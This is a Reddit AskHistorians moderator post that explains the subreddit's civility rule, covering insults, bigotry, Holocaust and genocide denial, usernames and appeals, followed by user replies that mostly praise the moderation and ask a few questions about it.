{"q_id": "f7fdlj", "title": "Rules Roundtable I: Civility, It is Rule Number One!", "selftext": " The first rule of AskHistorians is a very basic one:\n\n > All users are expected to behave with courtesy and politeness at all times. We will not tolerate racism, sexism, or any other forms of bigotry. This includes Holocaust Denial. Nor will we accept personal insults of any kind.\n\nIt is one of the oldest rules of the subreddit, and one which has seen almost no change over the existence of the subreddit, as it speaks to a core principle of our mission here, helping to ensure that conversations remain respectful and productive even in the face of disagreement.\n\nWhile we hope that the basic idea is simple and easy to grasp, nevertheless we are going to spend a little time today discussing its purpose, interpretation, and enforcement.\n\n### Why Is It Here?\n\nDisagreement is a vital component of academic discourse, but academia has a set of standards that attempt to keep debates productive (e.g., the relatively dry style of most academic papers). While we never would wish to stifle valid, academic debate, we nevertheless recognize that even in the best of circumstances, users can get heated and a discussion can turn into an argument. But being louder doesn't make you righter. Nor does insulting the proponent of the other side make them wronger.\n\nRespect is a core underpinning of a productive discussion between two opposing positions, and in the end, that is what we expect from our users. Passions can easily rise when a position is near and dear, but it does *everyone* a disservice to let them take over, especially the users reading along, who rather than coming away with a better understanding of the academic debate on a topic from *both* users' presentation, more often than not are simply going to be turned off by it all.\n\n### What Is Covered Under Civility?\n\nThere are three core prongs that this rule deals with:\n\n* Insulting language or other forms of disrespect, whether directed at another user, or a person or people not present.\n* Expressions of racism, sexism, and other forms of bigotry.\n* Ahistorical revisionism, such as (but by no means limited to) Holocaust Denial or Armenian Genocide Denial.\n\n### What Do the Mods Use to Decide This?\n\nEach situation is handled in its own context. When it comes to incivility, there is no hard and fast guideline we can offer, but much of the time, it is fairly clear when this rule is being violated. We do our best to make sure we are evaluating the entire context of the comments, as something said in isolation can appear quite different in the flow of a conversation. We also do work to consider possible cross-cultural misunderstandings, and what the rest of someone\u2019s Reddit posting says about their motivations and dispositions. As a user trying to follow the rule though, the best maxim to follow is the core of reddiquette as well, \"*Remember the human*\".\n\nAs for racism/sexism/bigotry, these are usually more clear cut. The simple answer is *don't use those kinds of terms*, whether directed at a user, or generally directed at the people it is used to denigrate. These will in almost all cases result in an immediate ban. We *do* realize that these terms are sometimes present in the historical record, but that doesn't somehow give license to sling them around. If they are appropriate for a legitimate answer to a question there is leeway of course, but we still ask writers to be considerate and empathetic in how they are used, such as by s\\*\\*\\*\\*\\*\\*g out the word, or providing a content warning at the beginning.\n\nLikewise, we recognize that some words may have different meanings for different cultures, being a slur in one country, while thoroughly reclaimed or simply lacking such implications elsewhere, such as is the case with \"Queer\" and its utilization trends, which for some is an identity and a field of academic study, but for others remains a slur tinged with hatred and bigotry. In situations like these, we again ask for users to simply be conscious and judicious in what words they might choose to use, and in what context.\n\n### But What If They Really Deserve The Insult!?\n\nThere are plenty of ways to counter an argument you disagree with that don't require stooping to invective. If it is simply an academic position you disagree with, please remember to be respectful and engage with their position. If they are participating in good faith, you need to as well. If they aren't worth any other response than insult, than *don't respond*. You can instead report the comment to the Mod Team and we'll handle the matter. Trying to handle the matter yourself at best just creates more for us to clean up, and quite possibly means you'll end up being warned as well.\n\n### Why Is Holocaust Denial Part of the Civility Rule?\n\nTwo reasons! The first is that bigotry is a core component of this rule, and Holocaust Denial is *inherently* Anti-Semitism. It necessarily requires the accusations of a massive conspiracy perpetrated by hundreds of thousands of Jewish survivors engaging in an immense, coordinated lie on an unimaginable scale. Holocaust Deniers are Anti-Semites, and Anti-Semitism is a form of bigotry.\n\nSecondly, while this is by no means the *only* rule under which denialism would easily fit, as it is the First Rule of the subreddit, we want it to be there front and center rather than buried half-way through the rules page. We have zero tolerance for people who deny atrocities such as the Holocaust or the genocide of Indigenous Americans, and believe that being clear about that from the start helps to set the tone about what kind of space this is intended to be.\n\n### Usernames\n\nWe also apply this rule to usernames. If a username includes a slur or obvious allusion to one, or otherwise peddles in patently offensive terminology, we will not allow that username to post. As long as the content otherwise followed the subreddit rules, we will generally suggest reposting under another username, and we have no interest in pursuing the issue of ban evasion as long as one uses a second username in good faith.\n\n### FREESPEECH!!\n\nNo, we are not violating your freedom speech. This is a private space which we curate to provide an enjoyable experience for people who are seeking it out. You don't have the right to ruin it for others. If you want a place where you can call people names without consequence, you'll find plenty options elsewhere, so please spare us your misunderstandings of the First Amendment.\n\n### Hey!? You Totally Misread That, Don't Remove It!!\n\nWe're only human, and we do make mistakes. If you believe that the rule was applied incorrectly to your comment, the best course of action is a short and *polite* message to the Mod team via Modmail. Clearly state your case and why you think it ought to be reversed. Worst that happens is we say no.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/f7fdlj/rules_roundtable_i_civility_it_is_rule_number_one/", "answers": {"a_id": ["fj6yc3e", "fj6ylh0", "fj7cja7", "fj7frp8", "fj7hhdm", "fj7i8sc", "fj7o07f", "fj7pi8m", "fj7s3qp", "fj7x30r", "fj7xcau", "fj7zkie", "fj83ct1", "fj88d32", "fj88rim", "fj8fojh", "fj8knue"], "score": [259, 34, 161, 10, 24, 6, 18, 36, 6, 15, 3, 3, 5, 3, 22, 4, 4], "text": ["One thing I wanted to mention as well that's very close to my heart and something I consider incivility, is deleting a post after it gets an answer. It doesn't happen a lot, but it can be pretty frustrating to see someone who's put who knows how much time into writing a post only for it to be deleted. Maybe OP didn't like the answer, or maybe they simply thought they could get rid of the thread now that they knew. Either way, it's *very* uncool. Not everyone knows this but deleting a thread essentially throws the whole thing into the lost void of the internet. A deleted thread can't be easily searched, and removes it from the front page/queue. So deleting a thread is not only rather insulting to the answer writer, it also hides that answer from everyone else so no one can enjoy it.\n\nSo please, please don't delete a thread after you've gotten an answer!", "[This recent question](_URL_0_) on Benjamin Franklin and his relations with prostitutes as he was in France had some uncomfortable phrasing to me : \"harlots\", the constant association of \"French\" with \"prostitutes\" (a common trope in over-sexualized representation of women in France in western production all over the XXth century). I was unsure how to react there (as I may read way too much in it) or even how to report it and eventually didn't : should I've reported it under \"civility\" even if it was peripheral to the question itself?\n\n(Also, thanks you all, mods, for keeping the sub a well-behaved and genuinely nice place on Reddit.)", "I always appreciated the heavy level of moderation here. Ive shared this subreddit with many in higher academia to explain the range of reddit's culture. It's truly one of the gems of Reddit. Thank you.", "I try to approach people with the spirit that I can learn from them. How do they see things that\u2019s different from me? \n\nIt\u2019s possible to disagree and not be disagreeable. \n\nI appreciate this sub. \n\nI\u2019m still trying to figure out if the elimination of Argentina\u2019s black population in the 1800s fits the definition of genocide. Just putting that out there :-).", " > We do realize that these terms are sometimes present in the historical record, but that doesn't somehow give license to sling them around. If they are appropriate for a legitimate answer to a question there is leeway of course, but we still ask writers to be considerate and empathetic in how they are used, such as by s******g out the word, or providing a content warning at the beginning.\n\nCensoring words for civility is something we were told specifically NOT to do at uni, that any circumstance where censorship would be acceptable would mean you didn't need to use the word in the first place and that if it becomes common practice it's kind of inconsiderate to scholars in 1000 years. Why is censoring the word considered a reasonable option here as presumably the word being used inappropriately would mean they had to remove it rather than censor it?\n\nI don't contribute much so I don't really need an answer but I just can't help asking as that goes directly against what I was taught about self-censorship.", "Unrelated but I was wondering if this sub would be willing to produce some basic history book? It would be a great source, especially considering this is one of the few places that recognizes Indigenous peoples.", "\u201cBeing louder doesn\u2019t make you righter\u201d... taking that one home with me!", "Well, I missed whatever happened that prompted you to reiterate the rules, but I want to take one of these rare chances to be able to post at all to say thank you, mods. You guys all do a great job here and I know it must be more work than most subs.", "These types of posts are great! I hope they keep coming for each rule and recur somewhat frequently.\n\nOne of my biggest frustration as a reader of this sub is coming in to a question and seeing a 30-comment thread that just says deleted. Sometimes there's a mod post with the boilerplate suggestion to post better but more often it's just a ghost town.\n\nI would argue that part of civility would be showing respect to the readers (whom would look at the thread and think \"wtf? This could have been interesting) as well as the posters who took the time to share their thoughts and engage in a discussion with others which was then deleted.\n\nIs there any desire to treat established comment threads which do not satisfy mod requirements any differently than a single top level reply? While the mods do a great job keeping answers high quality, losing out on discussions and potentially intriguing questions is a great frustration for the reader. Perhaps if there was a way to either force unapproved comments to be moved to the bottom of the comment chain or given flair to indicate as much, it would allow us to preserve discourse while keeping top comments cleared of misinformation.", "I'd like to take this opportunity to say how much I appreciate everything the mods do to keep discussions on-topic. Nearly every day I learn something new and interesting here about subjects I wouldn't even think to ask about.", "Now with the claim of genocide of various Native/Indigenous Americans, I understand why it is as a whole a genocide, and genocide requires intent, but its worth pointing out there were certain noteworthy moments that make it a bit different in that it was drawn out and longer and the genocideness happened in ebbing and flowing waves. some people thought that murdering and forcing off land was bad. Case in point is Worcester v. Georgia. SCOTUS said no. The white missionaries who were living among them and adapted long term no. President Jackson and Congress said yes. I just want to add more info.\n\nIs ahistorical revisionism the same as historical negationism?\n\nI would add Lost Cause to that list, but there are people who aren't neo nazis who believe it.", "I think the rule breakers are mostly irregulars to this sub.", "Thank you always to the mods here. I always sent my university students to this and other highly moderated subs to learn about the history of sex from a population of truly informed experts. \n\nThe class was Human Sexuality, in case that's in question.", "I love the policy!  Excellent standards to bear and exemplify.", "The greatest mod team on Reddit. Thank you.", "Why is the Holocaust often namedropped as the face of genocide denial? I'm not sure where I stand, but there's an argument to be made that statements singling out the Holocaust leave the rules on denying other genocides a little bit ambiguous. In fact, I've had discussions with people who use the Holocaust as an example of what 'real genocide' looks like in an attempt to discredit smaller, but just as valid, historical events. With this in mind, is there any want or need to replace mentions of the Holocaust in the rules with more general descriptions of genocide?", "Late to the thread but I wanted to get on the mod love bandwagon.  This is by far the best moderated sub I have found.  Not all subs should be moderated as strictly as this one, but I would subscribe to a lot more if they were."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.reddit.com/r/AskHistorians/comments/faazqv/benjamin_franklin_and_french_prostitutes/"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}